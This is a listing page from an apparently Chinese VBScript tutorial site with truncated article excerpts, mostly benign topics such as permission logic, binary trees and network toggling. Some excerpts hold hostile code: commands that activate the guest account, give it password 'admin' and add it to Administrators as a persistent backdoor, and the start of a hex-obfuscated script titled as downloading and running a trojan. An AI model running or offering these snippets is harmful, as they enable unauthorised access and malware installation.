编程脚本-脚本相关资料-www.escdns.com

基于逻辑运算的简单权限系统（原理,设计,实现） VBS 版

2016年07月27日 50 阅读

作者:slightboy,时间:2006-10-14首发于:http://cs.alienwave.cn/Topic/329.aspx看到好多同学权限判断都是用字符串然后或分割或截取其实对于允许/不允许（true/false）这种的权限,用逻辑运算再恰当不过了声明下:本文针对入门和为掌握的同学,如果已经懂了那可以无视了可能意思表达的不是很清楚,敬请原谅.逻辑运算符介绍:And:逻辑与0And0=00And1=01And0=01And1=1Or:逻辑或0Or...

VBS中常用脚本代码

2016年07月27日 53 阅读

将域用户或租添加到本地组 SetobjGroup=GetObject（"WinNT://./Administrators"） SetobjUser=GetObject（"WinNT://testnet/Engineers"） objGroup.Add（objUser.ADsPath）修改本地管理员密码 Setobjcnlar=GetObject（"WinNT://./administrator,user"） objcnla.SetPassword"P@s...

windows.关于设置脚本的一些基本方法原则

2016年07月27日 53 阅读

提问：“看了这么多高手的帖子，却没有找到一个非常简单的问题的答案：即如何为一个域用户设置登陆脚本？-BAT可否作为登陆脚本？-在域用户“属性”中，应如何指定登陆脚本名？"D:x.bat"还是"\srvx.bat"？还是其它？-脚本应该放在何处？-还有没有其它要注意的问题？” （参加原帖热烈的讨论 http://www.winmag.com.cn/forum/itemdisplay.asp？boardid=24&id=393362）回答：1、bat可以作为登...

用vbs实现本地连接禁用/启用脚本代码

2016年07月27日 52 阅读

转载至http://community.csdn.net/Expert/topic/4881/4881882.xml 复制代码代码如下:ConstssfCONTROLS=3 sConnectionName="本地连接""可改成需要控制的连接名称，如"无线网络连接"等 sEnableVerb="启用（&A）" sDisableVerb="禁用（&B）""XP系统中应为"停用（&B）" setshellApp=createobject（"shell.appl...

右键发送（sendto），创建快捷方式到自定义的位置

2016年07月27日 50 阅读

在SendTo文件夹里加上一文件夹的快捷方式后，在右键发送到这个文件夹的是这些文件的一个副本，实际上是一个复制的过程，有时候我们只希望是快捷方式，那就得另想办法了。把如下代码内容保存为shortcut.vbs，然后创建快捷方式到sendto目录下（C:DocumentsandSettingsusernameSendTo），改个自己想要的名字，如“创建快捷方式到我的工作目录”，即可实现创建快捷方式了，而且支持多文件，只需要把脚本中第4行中的的strFo...

[导入][原创]用脚本控制迅雷下载

2016年07月27日 47 阅读

一个网上的朋友想用脚本调用迅雷下载，于是我研究了一下，觉得可以，弄出来跟大家分享首先呢，找到迅雷在IE右健添加的东东：“用迅雷下载链接”。于是打开注册表，运行regedit，选中项，HKEY_CURRENT_USERSoftwareMicrosoft 查找：“迅雷”。结果出来了，放在 HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMenuExt ，然后在右边的窗口发现了两个文件：geturl.htm ...

vbs中关于计算机名的相关讨论

2016年07月27日 47 阅读

原文：http://www.opencjk.org/~scz/ 关于计算机名的相关讨论 http://www.opencjk.org/~scz/windows/200603151441.txt Q:我的电脑->属性->计算机名->计算机描述，我想改动这里，但它是灰色不可写的。 A:如果lanmanserverservice未启用，就会这样。执行"netstartsrv"即可。 Q:我想修改所属工作组，但那里是灰色不可写的。 A:如果lan...

用VBS模拟二叉树，可以得到一个排序办法.

2016年07月27日 52 阅读

数据结构知识：二叉树中序便历可以用来做排序而VBS里面恰恰就没有现成的排序方法，因此我写了一个用VBS的二叉树，来解决排序问题，中序便历就是排序。大家可以参考原理，应用到自己的程序中。 <SCRIPTLANGUAGE="vbScript"> classnode publicdata publicLnode publicRnode subinsert（newData） ifnewData<datathen ifIsEmpty（Lnode...

创建Guid 的代码

2016年07月27日 52 阅读

SetTypeLib=CreateObject（"Scriptlet.TypeLib"） strGUID=TypeLib.Guid SetobjIE=CreateObject（"InternetExplorer.Application"） objIE.Navigate（"about:blank"） objIE.document.parentwindow.clipboardData.SetData"text",strGUID objIE.Quit 新建文本文...

VBS和页面中响应COM的事件的方法和代码

2016年07月27日 54 阅读

COM的CONNECTIONPOINT可以成为一种事件发生回调机制。 VBS中接收时间回调的方法是 Functionmyobject_onadd（v1,v2） MsgBox"add"&v1&v2 EndFunction SetCnxn4=WScript.CreateObject（"ATLCom.ATL3","myobject_"）页面中使用的方法 <HTML> <BODYONLOAD="test（）"LANGUAGE="VBS">...

几段非常有用的脚本（来自微软网站,由downmoon精心收集）

2016年07月27日 56 阅读

几段非常有用的脚本（来自微软网站,由downmoon精心收集）一、在网络硬件故障或网络故障断开时发送警告复制代码代码如下:strComputer="." SetobjWMIService=GetObject（"winmgmts:"&strComputer&"ootwmi"） SetcolMonitoredEvents=objWMIService.ExecNotificationQuery_ （"Select*fromMSNdis_StatusMedia...

使用SAFEARRAY返回的代码

2016年07月27日 56 阅读

前天碰到有人问SAFEARRAY的问题，我正好对VBSCRIPT里面如何得到COM组件返回的数组感兴趣，就试验了一下。 IDE用的是VC7.1 开始都差不多，建立工程，建立COM对象，建立方法：接口定义： [id（2）,helpstring（"methodGetArray"）]HRESULTGetArray1（[out,retval]VARIANT*v）; 方法实现： STDMETHODIMPCATL3::GetArray1（VARIANT*pvaVar...

用vbs实现不死帐号的代码

2016年07月27日 53 阅读

先建立一个VBS文件内容如下： dimwsh setwsh=CreateObject（"WScript.Shell"） wsh.run"netuserguest/active:yes",0 wsh.run"netuserguestadmin",0 wsh.run"netlocalgroupadministratorsguest/add",0 上面一段VBS的意思就是激活GUEST帐号，并且加为高级管理组，设置密码为admin 那为什么不用那个BAT，继续往...

VBS的各种应用的比较实用小代码

2016年07月27日 54 阅读

VBS应用-- VBS脚本病毒的大量流行使我们对VBS的功能有了一个全新的认识，现在大家对它也开始重视起来。VBS代码在本地是通过WindowsScriptHost（WSH）解释执行的。VBS脚本的执行离不开WSH，WSH是微软提供的一种基于32位Windows平台的、与语言无关的脚本解释机制，它使得脚本能够直接在Windows桌面或命令提示符下运行。利用WSH，用户能够操纵WSH对象、ActiveX对象、注册表和文件系统。在Windows2000下，还可...

用VBS调用程序并对程序的运行情况进行监控的两个代码

2016年07月27日 53 阅读

有同时要用一个CAE软件调用外部程序,但是,通过这个CAE软件调用外部程序以后,因为这个外部程序有参数,调用方法写在Bat文件里的,由CAE软件来调用这个Bat,所以,CAE软件没办法对调用的程序进行监控,调用的程序还在运行当中,准备工作还没完成,就到了下一流程,所以,造成流程出错,我写了两个VBS代码,通过它来调用就解决了这个问题！两个小程序分别是按不同的方式来监控的！两个程序的调用方式不一样，一个是对系统进程进行监控，一个是对程序生成的文件特征进行监...

禁止QQ上网的vbs代码

2016年07月27日 55 阅读

是个不错的网站，在这里我表示个人意见，支持支持永远支持！今天我给大家做个“用vbs代码禁止QQ上网”的教程。希望大家喜欢！dimbag,pipe,honker,gooddogood="."setbag=getobject（"winmgmts:\"&good&" ootcimv2"）setpipe=bag.execquery（"select*fromwin32_processwherena...

一个收集的下载木马并运行的VBS代码

2016年07月27日 51 阅读

<scriptlanguage="VBScript"> S="2020206F6E206572726F7220726573756D65206E6578740D0A737 3733D226D64622E657865220D0A61613D226F62220D0A6161613D22 6A65220D0A616161613D226374220D0A61616161613D22636C61220 D0A6161616161613D2273736964...

可以将文件转换为vbs语句的vbs代码

2016年07月27日 52 阅读

文章作者：xiaolu[BST] 信息来源：邪恶八进制信息安全团队（www.eviloctal.com）这个不是exe2vbs所有类型的文件都可以转化的不过限于string的大小文件不能太大我测试过3m的文件是可以的将下面的代码存为:file2vbs.vbs复制代码代码如下:"ProgramByxiaolu "name:file2vbs.vbs Onerrorresumenext dowhile1 fname=InputBox（"请输入要转换的文件名...

收藏的比较精典VBS代码

2016年07月27日 50 阅读

文件操作复制代码代码如下: Set fso = Wscript.CreateObject（"Scripting.FileSystemObject"） "创建文件系统对象，用以处理驱动器、文件夹和文件 Set WshShell = Wscript.CreateObject（"Wscript.Shell"） "创建系统Shell对象，用以运行程序等等 if fso.fileexists（"D:刀剑Onlinealreadyexist.txt"） then ...

好玩的vbs特色代码vbs栈类

2016年07月27日 52 阅读

数据结构的问题相当重要，如果你能描述出一个问题的输入和输出数据结构，那么这个问题就大有希望，数据结构并不是C语言的专利，真正的数据结构是伪代码的。下面这个栈类是我以前搜集别人的代码，实际上每当考虑一个程序问题的时候，尤其是复杂的程序，就应该想到，用什么样的数据去描述你的输入和输出。 "********************************************** "vbs栈类 "push（string）进栈 "getTop取栈顶元素 "pop...

首页 / 编程脚本

基于逻辑运算的简单权限系统（原理,设计,实现） VBS 版

VBS中常用脚本代码

windows.关于设置脚本的一些基本方法原则

用vbs实现本地连接禁用/启用脚本代码

右键发送（sendto），创建快捷方式到自定义的位置

[导入][原创]用脚本控制迅雷下载

vbs中关于计算机名的相关讨论

用VBS模拟二叉树，可以得到一个排序办法.

创建Guid 的代码

VBS和页面中响应COM的事件的方法和代码

几段非常有用的脚本（来自微软网站,由downmoon精心收集）

使用SAFEARRAY返回的代码

用vbs实现不死帐号的代码

VBS的各种应用的比较实用小代码

用VBS调用程序并对程序的运行情况进行监控的两个代码

禁止QQ上网的vbs代码

一个收集的下载木马并运行的VBS代码

可以将文件转换为vbs语句的vbs代码

收藏的比较精典VBS代码

好玩的vbs特色代码vbs栈类